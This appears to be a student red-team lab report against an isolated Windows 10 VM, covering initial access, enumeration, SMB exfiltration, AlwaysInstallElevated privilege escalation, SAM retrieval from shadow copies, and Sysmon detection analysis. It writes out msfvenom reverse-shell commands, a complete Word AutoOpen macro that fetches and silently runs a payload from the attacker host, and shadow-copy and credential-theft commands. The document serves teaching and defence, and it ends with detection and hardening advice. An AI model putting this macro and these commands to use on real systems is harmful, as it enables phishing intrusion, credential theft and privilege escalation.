SEC 335 - Week 6 - 10/04/2026

Date: October 4, 2026

Tester: Christopher Lavalette

Target Host: DESKTOP-64LA2VE (Windows 10)

Attacker/C2 Host: Kali Linux — 10.0.17.34

Target User: DESKTOP-64LA2VE\champuser - 10.0.17.51

Objective: Simulate a Red Team operation involving initial access, host reconnaissance, data staging and exfiltration, local privilege escalation, and detection analysis.

Executive Summary

This assessment simulated a Red Team operation against a Windows 10 host. The exercise covered payload development, initial access, host enumeration, data staging, non-HTTP/HTTPS data exfiltration, local privilege escalation, Volume Shadow Copy access, and Windows Sysmon log analysis.

The operation began by creating two Meterpreter reverse HTTPS payloads. RAT 1 was deployed through a Microsoft Word macro that automatically downloaded and executed the payload, establishing a Meterpreter session on the Windows host as DESKTOP-64LA2VE\champuser.

After obtaining the initial foothold, host enumeration was performed using five Meterpreter post-exploitation modules and a custom PowerShell enumeration script. The resulting information was stored in multiple text files, compressed into firstcampaign.zip, and staged for exfiltration.

For Phase 3, the archive was transferred from the Windows VM to the Kali VM using SMB rather than HTTP/HTTPS. The archive was then extracted on Kali, and 01-whoami.txt was opened successfully to verify that the transferred data was readable.

For Phase 4, Metasploit's local exploit suggester identified always_install_elevated as a viable privilege-escalation technique. The exploit successfully elevated the session to NT AUTHORITY\SYSTEM. SYSTEM-level access was then verified through whoami, and Volume Shadow Copy functionality was demonstrated. As extra credit, a shadow copy was exposed through a symbolic link and the Windows SAM file was retrieved.

Finally, Sysmon Event ID 1 process-creation logs were reviewed to identify activity associated with the operation. The logs provided evidence of enumeration, payload execution, privilege escalation, SYSTEM-level command execution, and Volume Shadow Copy activity.

Methodology

The assessment was performed against an isolated Windows 10 virtual machine from a Kali Linux attack machine. The Kali host used for the operation was 10.0.17.34, while the Windows host used the champuser account.

The assessment was divided into five phases:

1. RAT Development
2. Initial Access and Payload Deployment
3. Host Enumeration and Data Staging
4. Non-Standard Data Exfiltration
5. Local Privilege Escalation and Log Analysis

Phase 0: RAT Development

Objective

Create and explain the options used to create a RAT and set up a listener.

RAT 1

This screenshot shows rat1.exe being created with the following command:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.34 LPORT=12001 -f exe -o rat1.exe

The first RAT used the windows/x64/meterpreter/reverse_https payload. The Kali C2 address 10.0.17.34 was selected as LHOST because it was the address the Windows target needed to connect back to. Port 12001 was selected because the assignment required the payload to use a port over 12000, avoiding any possible port conflicts and bypassing some restrictions of attempting to use a lower port which might be picked up on by the system over security reasons.

RAT 2

This screenshot shows rat2.exe being created with the following command:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.34 LPORT=12002 -f exe -o rat2.exe

The second RAT used the same payload and C2 address but used port 12002 to provide a second independently configured RAT as required by the assignment. 12002 was used, because the assignment required the payload to use a port over 12000, avoiding any possible port conflicts and bypassing some restrictions of attempting to use a lower port which might be picked up on by the system over security reasons.

Setting Up the Listener

This screenshot shows the Metasploit listener being configured for RAT 1. The listener waits for the Windows VM to execute the payload and establish the Meterpreter connection.

The commands used were:

msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.34
set LPORT 12001
run

Phase 1: Initial Access and Payload Deployment

Objective

Establish a foothold on the Windows 10 target as champuser, simulating a social-engineering attack in which a malicious Microsoft Word document automatically downloads and executes a payload.

RAT 1 Deployment

This screenshot shows rat1.exe being served from the Kali VM using Python's built-in HTTP server.

python3 -m http.server 8000

The HTTP server provided the Word macro with access to the RAT payload.

This screenshot shows the Microsoft Word macro configured to download and execute rat1.exe.

The macro used was:

Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String
    
    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://10.0.17.34:8000/rat1.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------

    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If
    
    On Error GoTo ErrHandler
    
    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    
    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If
    
    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close
    
    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If
    
    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    ' Use cmd /c to ensure proper batch execution
    objShell.Run "cmd /c """ & strPath & """", 0, False
    
    Exit Sub

ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub

The AutoOpen procedure caused the macro to execute automatically when the document was opened. It downloaded rat1.exe, saved it as launcher.exe in the user's Documents directory, and executed the downloaded file.

This screenshot shows Week6_WordDoc.docx being opened using the start winword command. Once the document opened in Microsoft Word, the macro initiated automatically. The payload was downloaded, renamed to launcher.exe, and executed, allowing the Windows VM to connect to the Kali VM.

This screenshot shows the Windows VM successfully downloading rat1.exe, with the transfer visible from the Linux VM.

This screenshot shows the successful Meterpreter connection and session opening from the Windows VM to the Kali VM.

The initial session was established under the champuser account, providing the foothold required for the remaining phases of the assessment.

Phase 2: Host Enumeration and Data Staging

Objective

Perform reconnaissance against the Windows 10 host using multiple Meterpreter post-exploitation modules and a custom PowerShell enumeration script.

The getuid command confirmed that the initial Meterpreter session was running as:

Desktop-64LA2VE\champuser

Five distinct Meterpreter enumeration modules were used:

Meterpreter Module	Command	Information Retrieved
Share Enumeration	run post/windows/gather/enum_shares	Windows network shares
Patch Enumeration	run post/windows/gather/enum_patches	Installed Windows patches and updates
Service Enumeration	run post/windows/gather/enum_services	Windows services and their configurations
Logged-On User Enumeration	run post/windows/gather/enum_logged_on_users	Current and recently logged-on users
Application Enumeration	run post/windows/gather/enum_applications	Installed applications and versions

1. Network Shares

run post/windows/gather/enum_shares

The module completed successfully but did not identify any network shares.

2. Installed Patches

run post/windows/gather/enum_patches

The enum_patches module returned information about the installed Windows patches and their installation dates.

3. Windows Services

run post/windows/gather/enum_services

The enum_services module returned information about Windows services and their configurations.

4. Logged-On Users

run post/windows/gather/enum_logged_on_users

The enum_logged_on_users module identified current and recently logged-on users.

5. Installed Applications

run post/windows/gather/enum_applications

The enum_applications module returned installed applications and their versions.

Custom Enumeration Script

This screenshot shows the previously created enumeration.ps1 script being executed against the Windows system.

The resulting enumeration files were stored in the C:\temp directory. These files contained the information collected by the custom enumeration script.

Compression and Data Staging

The collected text files were compressed into firstcampaign.zip for staging.

powershell -Command "Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\firstcampaign.zip -Force"

The archive consolidated the enumeration results into a single file that could be transferred during Phase 3.

This screenshot shows the Meterpreter download command being used to retrieve firstcampaign.zip.

This transfer used HTTP/HTTPS and was performed only for testing purposes. It was not used as the Phase 3 exfiltration method. The required non-HTTP/HTTPS exfiltration was performed separately using SMB.

Phase 3: Non-Standard Data Exfiltration - SMB

Objective

Transfer the consolidated enumeration archive using a protocol other than HTTP/HTTPS and verify that the transferred data could be recovered and read on the Kali VM.

This screenshot shows the SMB server being configured to use the champuser account. The password has been redacted from the screenshot.

This screenshot shows the staged firstcampaign.zip file being copied from the Windows VM to the selected destination on the Kali VM using SMB. The redacted sections contain the champuser authentication information.

This screenshot shows firstcampaign.zip present on the Kali Linux VM after the SMB transfer. The archive is then extracted on Kali.

This screenshot shows the extracted contents of firstcampaign.zip. The file 01-whoami.txt was opened successfully, verifying that the transferred archive was readable and intact enough to access its contents.

SMB was selected for Phase 3 because it provided a non-HTTP/HTTPS transfer mechanism. The use of a different protocol also demonstrated that data exfiltration can occur through services other than web traffic. SMB remains detectable through network and authentication telemetry and therefore should not be considered inherently stealthy.

Phase 4: Local Privilege Escalation

Objective

Identify a local privilege-escalation weakness, exploit it to obtain SYSTEM privileges, and verify access from the attacker's machine.

The Metasploit local exploit suggester was used to identify potential privilege-escalation techniques.

run post/multi/recon/local_exploit_suggester

The results identified always_install_elevated as a viable target on the Windows system.

The always_install_elevated exploit was then selected and executed:

use exploit/windows/local/always_install_elevated

set session 1

set LHOST 10.0.17.34

set LPORT 12003

run

The exploit successfully elevated the Meterpreter session to SYSTEM.

Vulnerability: AlwaysInstallElevated configuration weakness CVE: N/A — this is a Windows policy/configuration weakness rather than a vulnerability assigned to a single CVE.

The root cause is the Windows Installer configuration allowing installation packages to execute with elevated privileges. When the required policy configuration is present, a lower-privileged user can abuse Windows Installer functionality to obtain elevated execution.

After obtaining SYSTEM access, Volume Shadow Copy functionality was tested. The vssadmin executable was accessed through the Sysnative path because the standard vssadmin command was not directly recognized in the session.

C:\windows\sysnative\vssadmin.exe list shadows

The shadow-copy information was successfully displayed.

The assessment also recorded the following shadow-copy operations during the SYSTEM session:

vssadmin create shadow /for=C:\

and:

wmic shadowcopy call create volume=C:\\

The resulting shadow copies were then verified with:

C:\windows\sysnative\vssadmin.exe list shadows

Phase 4: Extra Credit

This screenshot shows the shadow-copy volume being exposed through the symbolic link C:\shadowcopy_link. The symbolic link made access to the shadow-copy contents easier while also creating additional evidence of the activity on the system.

The SAM file was retrieved from the shadow-copy path:

C:\shadowcopy_link\Windows\System32\config\SAM

and downloaded to the Kali Linux VM.

The SAM file was then opened in vi. Because the SAM is a binary database rather than a normal text file, the raw output contained many ^@ characters and was not human-readable when viewed directly as text.

Phase 5: Log Analysis and Detection

Objective

Analyze Windows Sysmon logs to identify executions related to the assessment and evaluate how effectively the activity could be detected.

The following table contains the relevant Sysmon Event ID 1 process-creation records. The timestamps are retained as recorded in the collected logs.

Timestamp (UTC)	Process	Parent Process	Command Line	Significance
2026-09-19 19:55:58	powershell.exe	powershell.exe	-ExecutionPolicy Bypass -File C:\temp\enumeration.ps1	Custom enumeration script execution
2026-09-19 19:55:59	whoami.exe	powershell.exe	whoami /all	User/security-context enumeration
2026-09-19 19:56:01	tasklist.exe	powershell.exe	tasklist /v	Process enumeration
2026-09-19 19:56:01	NETSTAT.EXE	powershell.exe	netstat -ano	Network connection enumeration
2026-09-19 19:56:01	net.exe	powershell.exe	net user	Local user enumeration
2026-09-19 19:56:01	ipconfig.exe	powershell.exe	ipconfig /all	Network configuration enumeration
2026-09-19 19:56:01	systeminfo.exe	powershell.exe	systeminfo	System information enumeration
2026-10-04 19:08:58	pnputil.exe	launcher.exe	pnputil.exe /enum-drivers	Child process of the initial payload
2026-10-04 19:08:59	powershell.exe	launcher.exe	powershell.exe -EncodedCommand ...	Encoded PowerShell launched by payload
2026-10-04 19:09:13	cmd.exe	launcher.exe	cmd.exe /c "echo. | powershell get-host"	Payload spawned command shell/PowerShell
2026-10-04 19:14:27	msiexec.exe	launcher.exe	msiexec.exe /quiet /package ...SeTDZNnpTXo.msi	Windows Installer execution associated with LPE
2026-10-04 19:14:27	msiexec.exe	services.exe	C:\Windows\system32\msiexec.exe /V	SYSTEM-level Windows Installer process
2026-10-04 19:14:27	MSIB0BD.tmp	msiexec.exe	"C:\Windows\Installer\MSIB0BD.tmp"	SYSTEM child of the installer
2026-10-04 19:16:50	cmd.exe	MSIB0BD.tmp	cmd.exe	SYSTEM command shell spawned during exploitation
2026-10-04 19:22:21	whoami.exe	cmd.exe	whoami	Explicit verification of SYSTEM
2026-10-04 19:23:52	vssadmin.exe	cmd.exe	C:\windows\Sysnative\vssadmin.exe list shadows	SYSTEM access to Volume Shadow Copy
2026-10-04 19:38:23	vssadmin.exe	cmd.exe	vssadmin create shadow /for=C:\	Shadow copy creation attempt
2026-10-04 19:42:57	WMIC.exe	cmd.exe	wmic shadowcopy call create volume=C:\\	Shadow copy creation as SYSTEM
2026-10-04 19:45:32	vssadmin.exe	cmd.exe	C:\windows\sysnative\vssadmin.exe list shadows	SYSTEM verification of shadow copies

What Was Detected

Sysmon Event ID 1 successfully recorded important process activity because it records process creation information including the executable, parent process, command line, user, and integrity level.

The initial payload activity was particularly visible. launcher.exe spawned pnputil.exe, PowerShell, and cmd.exe. One PowerShell process used an -EncodedCommand, providing a particularly useful detection opportunity.

The privilege-escalation activity was also clearly visible. launcher.exe started msiexec.exe, followed by SYSTEM-level Windows Installer activity, MSIB0BD.tmp, and SYSTEM command shells. This provided a strong process lineage for the AlwaysInstallElevated exploitation.

The SYSTEM transition was explicitly verified with:

whoami

which returned:

NT AUTHORITY\SYSTEM

The subsequent vssadmin.exe and WMIC.exe events were also recorded as SYSTEM processes.

Detection Analysis

Initial Payload

Likely detectable.

The combination of:

launcher.exe
    ↓
powershell.exe -EncodedCommand

is suspicious. An enterprise detection rule could identify encoded PowerShell when it is launched by an unusual parent process.

The parent-child relationship involving launcher.exe provides additional behavioral context beyond simply detecting PowerShell.

Enumeration

Detectable, but potentially noisy.

Commands such as:

whoami /all
systeminfo
tasklist /v
netstat -ano
net user
ipconfig /all

are legitimate Windows administrative commands and therefore may generate false positives when detected individually.

However, several discovery commands being executed rapidly by the same PowerShell process is more suspicious. Correlating multiple discovery commands from the same process within a short period would provide stronger detection.

Privilege Escalation

Strongly detectable.

The process sequence:

launcher.exe
    ↓
msiexec.exe
    ↓
MSIB0BD.tmp
    ↓
cmd.exe

followed by SYSTEM-level execution provides strong evidence of privilege escalation.

The transition from:

DESKTOP-64LA2VE\champuser

to:

NT AUTHORITY\SYSTEM

is also an important detection signal.

Volume Shadow Copy Activity

Strongly detectable.

The following command is a significant indicator:

vssadmin create shadow /for=C:\

The following command is also significant:

wmic shadowcopy call create volume=C:\\

Both commands were executed during the SYSTEM portion of the assessment and were recorded by Sysmon.

The extra-credit robocopy operation was also suspicious:

robocopy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\" C:\vss_extracredit /E /R:1 /W:1

This activity demonstrates copying information from a Volume Shadow Copy into a normal filesystem directory.

What Sysmon Did Not Directly Show

Sysmon Event ID 1 provided detailed process-creation information, but it did not by itself provide the contents of files transferred during the assessment or the contents of the SMB traffic.

The successful SMB transfer and the readability of the extracted archive therefore had to be verified separately on the Kali VM. Likewise, the actual contents of the retrieved SAM file were not represented by the process-creation events themselves.

Detection Improvement

The strongest improvement would be to use process-chain correlation instead of relying only on individual commands.

For example, a detection system could correlate the following sequence:

Unusual executable
        ↓
PowerShell -EncodedCommand
        ↓
System discovery commands
        ↓
msiexec.exe
        ↓
SYSTEM cmd.exe
        ↓
vssadmin.exe / WMIC shadowcopy

This approach provides greater context than alerting on any individual Windows utility. It would also reduce false positives associated with legitimate administrative use of commands such as whoami, systeminfo, ipconfig, and PowerShell.

Recommendations

1. Disable the AlwaysInstallElevated configuration. This prevents Windows Installer from being abused by lower-privileged users for elevated execution.

2. Monitor unusual Office child processes. Microsoft Office documents spawning command interpreters, scripting engines, PowerShell, or unusual executables should receive increased scrutiny.

3. Enable strong PowerShell logging and monitoring. Encoded PowerShell commands, especially when launched by unusual parent processes, should be investigated.

4. Correlate discovery activity. Multiple discovery commands executed rapidly by the same process or user should be treated as more suspicious than any single command.

5. Monitor Windows Installer activity. Unexpected msiexec.exe execution, especially when associated with unusual parent processes or SYSTEM-level children, should generate alerts.

6. Monitor Volume Shadow Copy operations. Commands such as vssadmin, WMIC shadowcopy, and suspicious access to HarddiskVolumeShadowCopy paths should be monitored because they can provide access to protected system data.

7. Monitor SMB transfers. SMB should not be treated as inherently benign simply because it is a standard Windows protocol. Unexpected authentication, file transfers, and archive movement between hosts should be investigated.

8. Use process lineage in detection rules. Correlating the initial payload, discovery activity, privilege escalation, and VSS access would provide substantially stronger detection than examining each event independently.